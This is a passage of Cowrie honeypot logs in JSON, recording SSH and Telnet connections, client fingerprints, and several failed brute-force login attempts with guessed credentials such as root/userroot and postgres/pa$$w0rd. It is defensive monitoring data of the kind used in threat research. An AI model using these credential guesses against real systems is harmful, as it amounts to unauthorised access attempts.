etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:26:07.987047Z","src_ip":"213.209.159.158","session":"9f720020d14b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.218.69.66","src_port":64051,"dst_ip":"159.203.135.109","dst_port":22,"session":"2ac5e8226531","protocol":"ssh","message":"New connection: 89.218.69.66:64051 (159.203.135.109:22) [session: 2ac5e8226531]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:26:08.021217Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:26:08.026252Z","src_ip":"89.218.69.66","session":"2ac5e8226531","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:26:08.191727Z","src_ip":"89.218.69.66","session":"2ac5e8226531","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":41078,"dst_ip":"10.17.0.5","dst_port":23,"session":"02abf07b5b01","protocol":"telnet","message":"New connection: 62.210.97.77:41078 (10.17.0.5:23) [session: 02abf07b5b01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:26:08.569896Z"}
{"eventid":"cowrie.login.failed","username":"tester","password":"1qaz2wsx","message":"login attempt [tester/1qaz2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:26:09.347850Z","src_ip":"89.218.69.66","session":"2ac5e8226531","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":41090,"dst_ip":"10.17.0.5","dst_port":23,"session":"d08b8c1a4288","protocol":"telnet","message":"New connection: 62.210.97.77:41090 (10.17.0.5:23) [session: d08b8c1a4288]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:26:10.346607Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":41100,"dst_ip":"10.17.0.5","dst_port":23,"session":"82bbc8a4cf5a","protocol":"telnet","message":"New connection: 62.210.97.77:41100 (10.17.0.5:23) [session: 82bbc8a4cf5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:26:10.383664Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:26:10.522653Z","src_ip":"89.218.69.66","session":"2ac5e8226531","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":41104,"dst_ip":"10.17.0.5","dst_port":23,"session":"b954d1fa9889","protocol":"telnet","message":"New connection: 62.210.97.77:41104 (10.17.0.5:23) [session: b954d1fa9889]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:26:11.032126Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":41114,"dst_ip":"10.17.0.5","dst_port":23,"session":"f0bf0e117b6b","protocol":"telnet","message":"New connection: 62.210.97.77:41114 (10.17.0.5:23) [session: f0bf0e117b6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:26:11.090730Z"}
{"eventid":"cowrie.session.closed","duration":31.68243908882141,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:26:12.847354Z","src_ip":"62.210.97.77","session":"649f0139065f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":47140,"dst_ip":"10.17.0.5","dst_port":23,"session":"e28ec2a207d3","protocol":"telnet","message":"New connection: 165.232.131.181:47140 (10.17.0.5:23) [session: e28ec2a207d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:26:12.868437Z"}
{"eventid":"cowrie.session.closed","duration":43.60765361785889,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:26:14.631529Z","src_ip":"165.232.131.181","session":"908d3ae22e03","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.99292612075806,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:26:15.871980Z","src_ip":"165.232.131.181","session":"9234a27a3e24","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"user_email","message":"login attempt [root/user_email] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:26:17.307277Z","src_ip":"213.209.159.158","session":"9f720020d14b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.78123068809509,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:26:20.455682Z","src_ip":"62.210.97.77","session":"b224c2d7e125","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"15.2","message":"Connection lost after 15.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:26:20.536342Z","src_ip":"213.209.159.158","session":"9f720020d14b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.46310114860535,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:26:20.586324Z","src_ip":"62.210.97.77","session":"ce78a77e6d8b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":38416,"dst_ip":"10.17.0.5","dst_port":22,"session":"f81c29bbc12c","protocol":"ssh","message":"New connection: 213.209.159.158:38416 (10.17.0.5:22) [session: f81c29bbc12c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:26:20.693343Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":44528,"dst_ip":"10.17.0.5","dst_port":23,"session":"fe6288408ba9","protocol":"telnet","message":"New connection: 62.210.97.77:44528 (10.17.0.5:23) [session: fe6288408ba9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:26:21.127849Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":44540,"dst_ip":"10.17.0.5","dst_port":23,"session":"f5084f534bb8","protocol":"telnet","message":"New connection: 62.210.97.77:44540 (10.17.0.5:23) [session: f5084f534bb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:26:22.855727Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:26:23.110851Z","src_ip":"213.209.159.158","session":"f81c29bbc12c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:26:23.115051Z","src_ip":"213.209.159.158","session":"f81c29bbc12c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.59446477890015,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:26:24.428576Z","src_ip":"62.210.97.77","session":"cebc6e92bd52","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.546762228012085,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:26:28.986168Z","src_ip":"62.210.97.77","session":"3432b979c6d0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.2562370300293,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:26:29.507334Z","src_ip":"62.210.97.77","session":"14f737c92c49","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":57744,"dst_ip":"10.17.0.5","dst_port":23,"session":"2277b4aa07e9","protocol":"telnet","message":"New connection: 165.232.131.181:57744 (10.17.0.5:23) [session: 2277b4aa07e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:26:29.618161Z"}
{"eventid":"cowrie.session.closed","duration":34.04757571220398,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:26:32.501308Z","src_ip":"62.210.97.77","session":"c7f6d7a4332e","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"userroot123456","message":"login attempt [root/userroot123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:26:32.708887Z","src_ip":"213.209.159.158","session":"f81c29bbc12c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":20.07079243659973,"message":"Connection lost after 20 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:26:32.939103Z","src_ip":"165.232.131.181","session":"e28ec2a207d3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.63299369812012,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:26:33.478843Z","src_ip":"62.210.97.77","session":"1d1a77e2e295","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.911611795425415,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:26:34.490771Z","src_ip":"165.232.131.181","session":"bfc1ca80d6b4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.58886194229126,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:26:35.286377Z","src_ip":"62.210.97.77","session":"212e18a8a374","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"15.6","message":"Connection lost after 15.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:26:36.329487Z","src_ip":"213.209.159.158","session":"f81c29bbc12c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":14744,"dst_ip":"10.17.0.5","dst_port":22,"session":"2f440b7744d0","protocol":"ssh","message":"New connection: 213.209.159.158:14744 (10.17.0.5:22) [session: 2f440b7744d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:26:36.408006Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":33728,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb1cf32f7f19","protocol":"telnet","message":"New connection: 165.232.131.181:33728 (10.17.0.5:23) [session: cb1cf32f7f19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:26:37.857886Z"}
{"eventid":"cowrie.session.closed","duration":33.853612422943115,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:26:38.125875Z","src_ip":"62.210.97.77","session":"7910c56028a9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":33096,"dst_ip":"10.17.0.5","dst_port":23,"session":"730d362654bc","protocol":"telnet","message":"New connection: 165.232.131.181:33096 (10.17.0.5:23) [session: 730d362654bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:26:38.219554Z"}
{"eventid":"cowrie.session.closed","duration":36.30278158187866,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:26:38.612374Z","src_ip":"62.210.97.77","session":"b22e9d493d7d","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:26:38.621695Z","src_ip":"213.209.159.158","session":"2f440b7744d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:26:38.627032Z","src_ip":"213.209.159.158","session":"2f440b7744d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":41106,"dst_ip":"10.17.0.5","dst_port":23,"session":"5641536c27c5","protocol":"telnet","message":"New connection: 62.210.97.77:41106 (10.17.0.5:23) [session: 5641536c27c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:26:38.842431Z"}
{"eventid":"cowrie.session.closed","duration":34.647008419036865,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:26:39.729503Z","src_ip":"62.210.97.77","session":"7f7a15ec602a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":34156,"dst_ip":"10.17.0.5","dst_port":23,"session":"9eb8dd3c3810","protocol":"telnet","message":"New connection: 165.232.131.181:34156 (10.17.0.5:23) [session: 9eb8dd3c3810]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:26:40.076406Z"}
{"eventid":"cowrie.session.closed","duration":36.719236612319946,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:26:40.280579Z","src_ip":"62.210.97.77","session":"fc2f66f6e0e8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"187.16.96.250","src_port":52708,"dst_ip":"10.17.0.5","dst_port":22,"session":"b50449619387","protocol":"ssh","message":"New connection: 187.16.96.250:52708 (10.17.0.5:22) [session: b50449619387]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:26:40.904314Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:26:40.911947Z","src_ip":"187.16.96.250","session":"b50449619387","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":33762,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca72eda1bf1e","protocol":"telnet","message":"New connection: 165.232.131.181:33762 (10.17.0.5:23) [session: ca72eda1bf1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:26:41.005502Z"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:26:41.028413Z","src_ip":"187.16.96.250","session":"b50449619387","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"pa$$w0rd","message":"login attempt [postgres/pa$$w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:26:41.524465Z","src_ip":"187.16.96.250","session":"b50449619387","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.10096025466919,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:26:42.191571Z","src_ip":"62.210.97.77","session":"f0bf0e117b6b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":41122,"dst_ip":"10.17.0.5","dst_port":23,"session":"2f908045d00e","protocol":"telnet","message":"New connection: 62.210.97.77:41122 (10.17.0.5:23) [session: 2f908045d00e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:26:42.464213Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:26:42.643120Z","src_ip":"187.16.96.250","session":"b50449619387","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.74718427658081,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:26:42.779122Z","src_ip":"62.210.97.77","session":"b954d1fa9889","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":41134,"dst_ip":"10.17.0.5","dst_port":23,"session":"065a6d3a13f2","protocol":"telnet","message":"New connection: 62.210.97.77:41134 (10.17.0.5:23) [session: 065a6d3a13f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:26:42.853832Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":58428,"dst_ip":"10.17.0.5","dst_port":23,"session":"0f6023379366","protocol":"telnet","message":"New connection: 65.60.27.33:58428 (10.17.0.5:23) [session: 0f6023379366]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:26:43.686513Z"}
{"eventid":"cowrie.session.closed","duration":35.42621612548828,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:26:43.995852Z","src_ip":"62.210.97.77","session":"02abf07b5b01","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.0335328578949,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:26:44.834169Z","src_ip":"38.54.119.93","session":"e4aef670d7e5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.98273801803589,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:26:45.329190Z","src_ip":"62.210.97.77","session":"d08b8c1a4288","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.1307954788208,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:26:45.514369Z","src_ip":"62.210.97.77","session":"82bbc8a4cf5a","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"userroot","message":"login attempt [root/userroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:26:48.431798Z","src_ip":"213.209.159.158","session":"2f440b7744d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.3","message":"Connection lost after 15.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:26:51.714140Z","src_ip":"213.209.159.158","session":"2f440b7744d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":26048,"dst_ip":"10.17.0.5","dst_port":22,"session":"fc2cbec8b984","protocol":"ssh","message":"New connection: 213.209.159.158:26048 (10.17.0.5:22) [session: fc2cbec8b984]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:26:51.830976Z"}
